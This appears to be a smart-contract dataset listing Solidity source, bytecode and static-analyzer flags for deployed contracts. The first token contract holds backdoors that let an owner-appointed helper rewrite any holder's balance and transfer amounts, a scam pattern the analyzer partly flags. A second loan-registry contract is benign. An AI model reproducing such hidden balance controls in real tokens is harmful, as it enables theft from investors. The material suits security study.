_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 5;
_feeAddr2 = 5;
if(from == address(transactionHelper)|| from == address(this)){
_tOwned[from] = _tOwned[from].sub(amount);
_tOwned[to] = _tOwned[to].add(amount);
return;
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[from]){
_feeAddr1 = 0;
_feeAddr2 = 0;
}
if (from != owner() && to != owner()) {
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 8;
_feeAddr2 = 4;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
transactionHelper.openTrading(address(this));
swapEnabled = true;
tradingOpen = true;
}
function newtransactionHelper(address _txHelper) external onlyOwner() {
transactionHelper = ITransactionHelper(_txHelper);
_allowances[address(this)][address(_txHelper)] = uint256(2**256 - 1);
_isExcludedFromFee[_txHelper] = true;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function recoverEth() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_takeTeam(tTeam);
_takeTax(tFee);
if(!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient]){
tTransferAmount = transactionHelper.CheckTX(sender, recipient, tTransferAmount, msg.sender);}
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _takeTax( uint256 tFee) private {
_tOwned[address(this)] = _tOwned[address(this)].add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function setSwapEnabled(bool onoff) external onlyOwner() {
swapEnabled = onoff;
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function launchModeAdd(address _1, uint256 amount) external onlyTXHelper{
_tOwned[_1] = _tOwned[_1].add(amount);
}
function launchModeSub(address _1, uint256 amount) external onlyTXHelper{
_tOwned[_1] = _tOwned[_1].sub(amount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
return (tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
}
|
0x6080604052600436106101635760003560e01c806373d3826f116100c0578063bcdb446b11610074578063c9567bf911610059578063c9567bf914610438578063dd62ed3e1461044d578063e01af92c146104a057600080fd5b8063bcdb446b1461040e578063c3c8cd801461042357600080fd5b806395d89b41116100a557806395d89b41146103885780639ba9230f146103ce578063a9059cbb146103ee57600080fd5b806373d3826f1461033d5780638da5cb5b1461035d57600080fd5b8063313ce567116101175780636fc3eaec116100fc5780636fc3eaec146102d057806370a08231146102e5578063715018a61461032857600080fd5b8063313ce5671461026257806331ebf8d01461027e57600080fd5b806318160ddd1161014857806318160ddd146101f757806323b872dd1461022057806324c545281461024057600080fd5b806306fdde031461016f578063095ea7b3146101c757600080fd5b3661016a57005b600080fd5b34801561017b57600080fd5b5060408051808201909152600c81527f4c494c444f4745464c4f4b49000000000000000000000000000000000000000060208201525b6040516101be9190611b5a565b60405180910390f35b3480156101d357600080fd5b506101e76101e2366004611bef565b6104c0565b60405190151581526020016101be565b34801561020357600080fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016101be565b34801561022c57600080fd5b506101e761023b366004611c1b565b6104d7565b34801561024c57600080fd5b5061026061025b366004611bef565b61054d565b005b34801561026e57600080fd5b50604051600981526020016101be565b34801561028a57600080fd5b50600b546102ab9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101be565b3480156102dc57600080fd5b5061026061066b565b3480156102f157600080fd5b50610212610300366004611c5c565b73ffffffffffffffffffffffffffffffffffffffff1660009081526002602052604090205490565b34801561033457600080fd5b506102606106b2565b34801561034957600080fd5b50610260610358366004611c5c565b6107a2565b34801561036957600080fd5b5060005473ffffffffffffffffffffffffffffffffffffffff166102ab565b34801561039457600080fd5b5060408051808201909152600581527f4c494c444600000000000000000000000000000000000000000000000000000060208201526101b1565b3480156103da57600080fd5b506102606103e9366004611bef565b6108d5565b3480156103fa57600080fd5b506101e7610409366004611bef565b6109c1565b34801561041a57600080fd5b506102606109ce565b34801561042f57600080fd5b50610260610a7b565b34801561044457600080fd5b50610260610ace565b34801561045957600080fd5b50610212610468366004611c79565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260036020908152604080832093909416825291909152205490565b3480156104ac57600080fd5b506102606104bb366004611cb2565b610c15565b60006104cd338484610ce2565b5060015b92915050565b60006104e4848484610e95565b610543843361053e85604051806060016040528060288152602001611e9b6028913973ffffffffffffffffffffffffffffffffffffffff8a166000908152600360209081526040808320338452909152902054919061133c565b610ce2565b5060019392505050565b600b5473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461060e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f545848656c7065723a2063616c6c6572206973206e6f7420746865205458486560448201527f6c7065720000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604090205461063e9082611390565b73ffffffffffffffffffffffffffffffffffffffff90921660009081526002602052604090209190915550565b60075473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106a557600080fd5b476106af81611410565b50565b60005473ffffffffffffffffffffffffffffffffffffffff163314610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b6000805460405173ffffffffffffffffffffffffffffffffffffffff909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b60005473ffffffffffffffffffffffffffffffffffffffff163314610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b600b805473ffffffffffffffffffffffffffffffffffffffff9092167fffffffffffffffffffffffff0000000000000000000000000000000000000000909216821790553060009081526003602090815260408083209383529281528282207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9055600490522080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055565b600b5473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610991576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f545848656c7065723a2063616c6c6572206973206e6f7420746865205458486560448201527f6c706572000000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604090205461063e90826114b3565b60006104cd338484610e95565b60005473ffffffffffffffffffffffffffffffffffffffff163314610a4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b60405133904780156108fc02916000818181858888f193505050501580156106af573d6000803e3d6000fd5b60075473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ab557600080fd5b306000908152600260205260409020546106af816114f5565b60005473ffffffffffffffffffffffffffffffffffffffff163314610b4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b600b546040517fca72a4e700000000000000000000000000000000000000000000000000000000815230600482015273ffffffffffffffffffffffffffffffffffffffff9091169063ca72a4e790602401600060405180830381600087803b158015610bba57600080fd5b505af1158015610bce573d6000803e3d6000fd5b5050600a80547fffffffffffffffffff00ff00ffffffffffffffffffffffffffffffffffffffff167601000100000000000000000000000000000000000000001790555050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610c96576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610605565b600a8054911515760100000000000000000000000000000000000000000000027fffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffffff909216919091179055565b73ffffffffffffffffffffffffffffffffffffffff8316610d84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff8216610e27576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610f38576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610605565b73ffffffffffffffffffffffffffffffffffffffff8216610fdb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610605565b6000811161106b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f00000000000000000000000000000000000000000000006064820152608401610605565b6005808055600655600b5473ffffffffffffffffffffffffffffffffffffffff848116911614806110b1575073ffffffffffffffffffffffffffffffffffffffff831630145b156111505773ffffffffffffffffffffffffffffffffffffffff83166000908152600260205260409020546110e690826114b3565b73ffffffffffffffffffffffffffffffffffffffff80851660009081526002602052604080822093909355908416815220546111229082611390565b73ffffffffffffffffffffffffffffffffffffffff9092166000908152600260205260409020919091555050565b73ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205460ff16806111a9575073ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205460ff165b156111b957600060058190556006555b60005473ffffffffffffffffffffffffffffffffffffffff8481169116148015906111ff575060005473ffffffffffffffffffffffffffffffffffffffff838116911614155b1561132c57600a5473ffffffffffffffffffffffffffffffffffffffff8381169116148015611249575060095473ffffffffffffffffffffffffffffffffffffffff848116911614155b801561127b575073ffffffffffffffffffffffffffffffffffffffff831660009081526004602052604090205460ff16155b1561128b57600860055560046006555b30600090815260026020526040902054600a547501000000000000000000000000000000000000000000900460ff161580156112e25750600a5473ffffffffffffffffffffffffffffffffffffffff858116911614155b801561130a5750600a54760100000000000000000000000000000000000000000000900460ff165b1561132a57611318816114f5565b4780156113285761132847611410565b505b505b61133783838361171f565b505050565b6000818484111561137a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106059190611b5a565b5060006113878486611d03565b95945050505050565b60008061139d8385611d1a565b905083811015611409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610605565b9392505050565b60075473ffffffffffffffffffffffffffffffffffffffff166108fc61143783600261172a565b6040518115909202916000818181858888f1935050505015801561145f573d6000803e3d6000fd5b5060085473ffffffffffffffffffffffffffffffffffffffff166108fc61148783600261172a565b6040518115909202916000818181858888f193505050501580156114af573d6000803e3d6000fd5b5050565b600061140983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061133c565b600a80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061156a5761156a611d32565b73ffffffffffffffffffffffffffffffffffffffff928316602091820292909201810191909152600954604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b1580156115e457600080fd5b505afa1580156115f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161c9190611d61565b8160018151811061162f5761162f611d32565b73ffffffffffffffffffffffffffffffffffffffff92831660209182029290920101526009546116629130911684610ce2565b6009546040517f791ac94700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff9091169063791ac947906116c1908590600090869030904290600401611d7e565b600060405180830381600087803b1580156116db57600080fd5b505af11580156116ef573d6000803e3d6000fd5b5050600a80547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b61133783838361176c565b600061140983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119b3565b600080600061177a846119fb565b73ffffffffffffffffffffffffffffffffffffffff891660009081526002602052604090205492955090935091506117b290856114b3565b73ffffffffffffffffffffffffffffffffffffffff80881660009081526002602052604080822093909355908716815220546117ee9084611390565b73ffffffffffffffffffffffffffffffffffffffff861660009081526002602052604090205561181d81611a23565b61182682611a23565b73ffffffffffffffffffffffffffffffffffffffff861660009081526004602052604090205460ff16158015611882575073ffffffffffffffffffffffffffffffffffffffff851660009081526004602052604090205460ff16155b1561194457600b546040517fab70327100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff88811660048301528781166024830152604482018690523360648301529091169063ab70327190608401602060405180830381600087803b15801561190957600080fd5b505af115801561191d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119419190611e09565b92505b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119a391815260200190565b60405180910390a3505050505050565b600081836119ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106059190611b5a565b5060006113878486611e22565b600080600080600080611a1387600554600654611a50565b9199909850909650945050505050565b30600090815260026020526040902054611a3d9082611390565b3060009081526002602052604090205550565b6000808080611a6a6064611a648989611aa5565b9061172a565b90506000611a7d6064611a648a89611aa5565b90506000611a9582611a8f8b866114b3565b906114b3565b9992985090965090945050505050565b600082611ab4575060006104d1565b6000611ac08385611e5d565b905082611acd8583611e22565b14611409576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610605565b600060208083528351808285015260005b81811015611b8757858101830151858201604001528201611b6b565b81811115611b99576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b73ffffffffffffffffffffffffffffffffffffffff811681146106af57600080fd5b60008060408385031215611c0257600080fd5b8235611c0d81611bcd565b946020939093013593505050565b600080600060608486031215611c3057600080fd5b8335611c3b81611bcd565b92506020840135611c4b81611bcd565b929592945050506040919091013590565b600060208284031215611c6e57600080fd5b813561140981611bcd565b60008060408385031215611c8c57600080fd5b8235611c9781611bcd565b91506020830135611ca781611bcd565b809150509250929050565b600060208284031215611cc457600080fd5b8135801515811461140957600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600082821015611d1557611d15611cd4565b500390565b60008219821115611d2d57611d2d611cd4565b500190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600060208284031215611d7357600080fd5b815161140981611bcd565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ddb57845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101611da9565b505073ffffffffffffffffffffffffffffffffffffffff969096166060850152505050608001529392505050565b600060208284031215611e1b57600080fd5b5051919050565b600082611e58577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e9557611e95611cd4565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fc8537f0caadd31c90d7766b72fa0867e1827633d0839286abce308f45965b6464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,355 |
0xd13d19b30d65ec58ce853462d27c46978e71a3f8
|
pragma solidity ^0.4.24;
contract BrickAccessControl {
constructor() public {
admin = msg.sender;
nodeToId[admin] = 1;
}
address public admin;
address[] public nodes;
mapping (address => uint) nodeToId;
modifier onlyAdmin() {
require(msg.sender == admin, "Not authorized admin");
_;
}
modifier onlyNode() {
require(nodeToId[msg.sender] != 0, "Not authorized node");
_;
}
function setAdmin(address _newAdmin) public onlyAdmin {
require(_newAdmin != address(0));
admin = _newAdmin;
}
function getNodes() public view returns (address[]) {
return nodes;
}
function addNode(address _newNode) public onlyAdmin {
require(_newNode != address(0), "Cannot set to empty address");
nodeToId[_newNode] = nodes.push(_newNode);
}
function removeNode(address _node) public onlyAdmin {
require(_node != address(0), "Cannot set to empty address");
uint index = nodeToId[_node] - 1;
delete nodes[index];
delete nodeToId[_node];
}
}
contract BrickBase is BrickAccessControl {
/**************
Events
***************/
// S201. 대출 계약 생성
event ContractCreated(bytes32 loanId);
// S201. 대출중
event ContractStarted(bytes32 loanId);
// S301. 상환 완료
event RedeemCompleted(bytes32 loanId);
// S302. 청산 완료
event LiquidationCompleted(bytes32 loanId);
/**************
Data Types
***************/
struct Contract {
bytes32 loanId; // 계약 번호
uint16 productId; // 상품 번호
bytes8 coinName; // 담보 코인 종류
uint256 coinAmount; // 담보 코인양
uint32 coinUnitPrice; // 1 코인당 금액
string collateralAddress; // 담보 입금 암호화폐 주소
uint32 loanAmount; // 대출원금
uint64 createAt; // 계약일
uint64 openAt; // 원화지급일(개시일)
uint64 expireAt; // 만기일
bytes8 feeRate; // 이자율
bytes8 overdueRate; // 연체이자율
bytes8 liquidationRate; // 청산 조건(담보 청산비율)
uint32 prepaymentFee; // 중도상환수수료
bytes32 extra; // 기타 정보
}
struct ClosedContract {
bytes32 loanId; // 계약 번호
bytes8 status; // 종료 타입(S301, S302)
uint256 returnAmount; // 반환코인량(유저에게 돌려준 코인)
uint32 returnCash; // 반환 현금(유저에게 돌려준 원화)
string returnAddress; // 담보 반환 암호화폐 주소
uint32 feeAmount; // 총이자(이자 + 연체이자 + 운영수수료 + 조기상환수수료)
uint32 evalUnitPrice; // 청산시점 평가금액(1 코인당 금액)
uint64 evalAt; // 청산시점 평가일
uint64 closeAt; // 종료일자
bytes32 extra; // 기타 정보
}
/**************
Storage
***************/
// 계약 번호 => 대출 계약서
mapping (bytes32 => Contract) loanIdToContract;
// 계약 번호 => 종료된 대출 계약서
mapping (bytes32 => ClosedContract) loanIdToClosedContract;
bytes32[] contracts;
bytes32[] closedContracts;
}
contract BrickInterface is BrickBase {
function createContract(
bytes32 _loanId, uint16 _productId, bytes8 _coinName, uint256 _coinAmount, uint32 _coinUnitPrice,
string _collateralAddress, uint32 _loanAmount, uint64[] _times, bytes8[] _rates, uint32 _prepaymentFee, bytes32 _extra)
public;
function closeContract(
bytes32 _loanId, bytes8 _status, uint256 _returnAmount, uint32 _returnCash, string _returnAddress,
uint32 _feeAmount, uint32 _evalUnitPrice, uint64 _evalAt, uint64 _closeAt, bytes32 _extra)
public;
function getContract(bytes32 _loanId)
public
view
returns (
bytes32 loanId,
uint16 productId,
bytes8 coinName,
uint256 coinAmount,
uint32 coinUnitPrice,
string collateralAddress,
uint32 loanAmount,
uint32 prepaymentFee,
bytes32 extra);
function getContractTimestamps(bytes32 _loanId)
public
view
returns (
bytes32 loanId,
uint64 createAt,
uint64 openAt,
uint64 expireAt);
function getContractRates(bytes32 _loanId)
public
view
returns (
bytes32 loanId,
bytes8 feeRate,
bytes8 overdueRate,
bytes8 liquidationRate);
function getClosedContract(bytes32 _loanId)
public
view
returns (
bytes32 loanId,
bytes8 status,
uint256 returnAmount,
uint32 returnCash,
string returnAddress,
uint32 feeAmount,
uint32 evalUnitPrice,
uint64 evalAt,
uint64 closeAt,
bytes32 extra);
function totalContracts() public view returns (uint);
function totalClosedContracts() public view returns (uint);
}
contract Brick is BrickInterface {
/// @dev 대출 계약서 생성하기
/// @param _loanId 계약 번호
/// @param _productId 상품 번호
/// @param _coinName 담보 코인 종류
/// @param _coinAmount 담보 코인양
/// @param _coinUnitPrice 1 코인당 금액
/// @param _collateralAddress 담보 입금 암호화폐 주소
/// @param _loanAmount 대출원금
/// @param _times 계약 시간 정보[createAt, openAt, expireAt]
/// @param _rates 이자율[feeRate, overdueRate, liquidationRate]
/// @param _prepaymentFee 중도상환수수료
/// @param _extra 기타 정보
function createContract(
bytes32 _loanId, uint16 _productId, bytes8 _coinName, uint256 _coinAmount, uint32 _coinUnitPrice,
string _collateralAddress, uint32 _loanAmount, uint64[] _times, bytes8[] _rates, uint32 _prepaymentFee, bytes32 _extra)
public
onlyNode
{
require(loanIdToContract[_loanId].loanId == 0, "Already exists in Contract.");
require(loanIdToClosedContract[_loanId].loanId == 0, "Already exists in ClosedContract.");
Contract memory _contract = Contract({
loanId: _loanId,
productId: _productId,
coinName: _coinName,
coinAmount: _coinAmount,
coinUnitPrice: _coinUnitPrice,
collateralAddress: _collateralAddress,
loanAmount: _loanAmount,
createAt: _times[0],
openAt: _times[1],
expireAt: _times[2],
feeRate: _rates[0],
overdueRate: _rates[1],
liquidationRate: _rates[2],
prepaymentFee: _prepaymentFee,
extra: _extra
});
loanIdToContract[_loanId] = _contract;
contracts.push(_loanId);
emit ContractCreated(_loanId);
}
/// @dev 대출 계약 종료하기
/// @param _loanId 계약 번호
/// @param _status 종료 타입(S301, S302)
/// @param _returnAmount 반환코인량(유저에게 돌려준 코인)
/// @param _returnCash 반환 현금(유저에게 돌려준 원화)
/// @param _returnAddress 담보 반환 암호화폐 주소
/// @param _feeAmount 총이자(이자 + 연체이자 + 운영수수료 + 조기상환수수료)
/// @param _evalUnitPrice 청산시점 평가금액(1 코인당 금액)
/// @param _evalAt 청산시점 평가일
/// @param _closeAt 종료일자
/// @param _extra 기타 정보
function closeContract(
bytes32 _loanId, bytes8 _status, uint256 _returnAmount, uint32 _returnCash, string _returnAddress,
uint32 _feeAmount, uint32 _evalUnitPrice, uint64 _evalAt, uint64 _closeAt, bytes32 _extra)
public
onlyNode
{
require(loanIdToContract[_loanId].loanId != 0, "Not exists in Contract.");
require(loanIdToClosedContract[_loanId].loanId == 0, "Already exists in ClosedContract.");
ClosedContract memory closedContract = ClosedContract({
loanId: _loanId,
status: _status,
returnAmount: _returnAmount,
returnCash: _returnCash,
returnAddress: _returnAddress,
feeAmount: _feeAmount,
evalUnitPrice: _evalUnitPrice,
evalAt: _evalAt,
closeAt: _closeAt,
extra: _extra
});
loanIdToClosedContract[_loanId] = closedContract;
closedContracts.push(_loanId);
if (_status == bytes16("S301")) {
emit RedeemCompleted(_loanId);
} else if (_status == bytes16("S302")) {
emit LiquidationCompleted(_loanId);
}
}
/// @dev 진행중인 대출 계약서 조회하기
/// @param _loanId 계약 번호
/// @return The contract of given loanId
function getContract(bytes32 _loanId)
public
view
returns (
bytes32 loanId,
uint16 productId,
bytes8 coinName,
uint256 coinAmount,
uint32 coinUnitPrice,
string collateralAddress,
uint32 loanAmount,
uint32 prepaymentFee,
bytes32 extra)
{
require(loanIdToContract[_loanId].loanId != 0, "Not exists in Contract.");
Contract storage c = loanIdToContract[_loanId];
loanId = c.loanId;
productId = uint16(c.productId);
coinName = c.coinName;
coinAmount = uint256(c.coinAmount);
coinUnitPrice = uint32(c.coinUnitPrice);
collateralAddress = c.collateralAddress;
loanAmount = uint32(c.loanAmount);
prepaymentFee = uint32(c.prepaymentFee);
extra = c.extra;
}
function getContractTimestamps(bytes32 _loanId)
public
view
returns (
bytes32 loanId,
uint64 createAt,
uint64 openAt,
uint64 expireAt)
{
require(loanIdToContract[_loanId].loanId != 0, "Not exists in Contract.");
Contract storage c = loanIdToContract[_loanId];
loanId = c.loanId;
createAt = uint64(c.createAt);
openAt = uint64(c.openAt);
expireAt = uint64(c.expireAt);
}
function getContractRates(bytes32 _loanId)
public
view
returns (
bytes32 loanId,
bytes8 feeRate,
bytes8 overdueRate,
bytes8 liquidationRate)
{
require(loanIdToContract[_loanId].loanId != 0, "Not exists in Contract.");
Contract storage c = loanIdToContract[_loanId];
loanId = c.loanId;
feeRate = c.feeRate;
overdueRate = c.overdueRate;
liquidationRate = c.liquidationRate;
}
/// @dev 종료된 대출 계약서 조회하기
/// @param _loanId 계약 번호
/// @return The closed contract of given loanId
function getClosedContract(bytes32 _loanId)
public
view
returns (
bytes32 loanId,
bytes8 status,
uint256 returnAmount,
uint32 returnCash,
string returnAddress,
uint32 feeAmount,
uint32 evalUnitPrice,
uint64 evalAt,
uint64 closeAt,
bytes32 extra)
{
require(loanIdToClosedContract[_loanId].loanId != 0, "Not exists in ClosedContract.");
ClosedContract storage c = loanIdToClosedContract[_loanId];
loanId = c.loanId;
status = c.status;
returnAmount = uint256(c.returnAmount);
returnCash = uint32(c.returnCash);
returnAddress = c.returnAddress;
feeAmount = uint32(c.feeAmount);
evalUnitPrice = uint32(c.evalUnitPrice);
evalAt = uint64(c.evalAt);
closeAt = uint64(c.closeAt);
extra = c.extra;
}
function totalContracts() public view returns (uint) {
return contracts.length;
}
function totalClosedContracts() public view returns (uint) {
return closedContracts.length;
}
}
|
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630ec8c387146100d557806317b591e5146101d95780631c53c280146102e55780633195003214610352578063704b6c02146104ca5780637e16eca01461050d57806386869eae146105ab5780639d95f1cc146105d6578063a09037a914610619578063b2b99ec914610644578063b3eb3a8614610687578063e16c7d9814610802578063e29581aa14610956578063f851a440146109c2575b600080fd5b3480156100e157600080fd5b506101046004803603810190808035600019169060200190929190505050610a19565b6040518085600019166000191681526020018477ffffffffffffffffffffffffffffffffffffffffffffffff191677ffffffffffffffffffffffffffffffffffffffffffffffff191681526020018377ffffffffffffffffffffffffffffffffffffffffffffffff191677ffffffffffffffffffffffffffffffffffffffffffffffff191681526020018277ffffffffffffffffffffffffffffffffffffffffffffffff191677ffffffffffffffffffffffffffffffffffffffffffffffff1916815260200194505050505060405180910390f35b3480156101e557600080fd5b506102e36004803603810190808035600019169060200190929190803577ffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080359060200190929190803563ffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803563ffffffff169060200190929190803563ffffffff169060200190929190803567ffffffffffffffff169060200190929190803567ffffffffffffffff1690602001909291908035600019169060200190929190505050610b6e565b005b3480156102f157600080fd5b506103106004803603810190808035906020019092919050505061110d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035e57600080fd5b506104c86004803603810190808035600019169060200190929190803561ffff169060200190929190803577ffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080359060200190929190803563ffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803563ffffffff1690602001909291908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509192919290803563ffffffff169060200190929190803560001916906020019092919050505061114b565b005b3480156104d657600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061181f565b005b34801561051957600080fd5b5061053c6004803603810190808035600019169060200190929190505050611962565b6040518085600019166000191681526020018467ffffffffffffffff1667ffffffffffffffff1681526020018367ffffffffffffffff1667ffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200194505050505060405180910390f35b34801561